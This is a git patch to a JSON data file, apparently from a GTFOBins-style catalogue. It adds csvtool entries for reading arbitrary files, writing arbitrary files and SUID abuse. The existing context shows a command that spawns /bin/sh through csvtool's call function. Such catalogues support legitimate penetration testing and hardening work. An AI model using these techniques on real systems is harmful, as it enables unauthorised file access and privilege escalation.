From 943e5adae77f49964d19682512e4855c651756a9 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 18 Apr 2021 11:24:24 +0200 Subject: [PATCH] add file read and write & suid to csvtoool --- data/csvtool.json | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/data/csvtool.json b/data/csvtool.json index 9b409a5..148dee1 100644 --- a/data/csvtool.json +++ b/data/csvtool.json @@ -1,5 +1,22 @@ { "functions": { + "file-read": [ + { + "description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.", + "code": "csvtool trim t [file]\n" + } + ], + "file-write": [ + { + "description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.", + "code": "TF=$(mktemp)\necho [data] > $TF\ncsvtool trim t $TF -o [file]\n" + } + ], + "suid": [ + { + "code": "./csvtool trim t [file]\n" + } + ], "shell": [ { "code": "csvtool call '/bin/sh;false' /etc/passwd"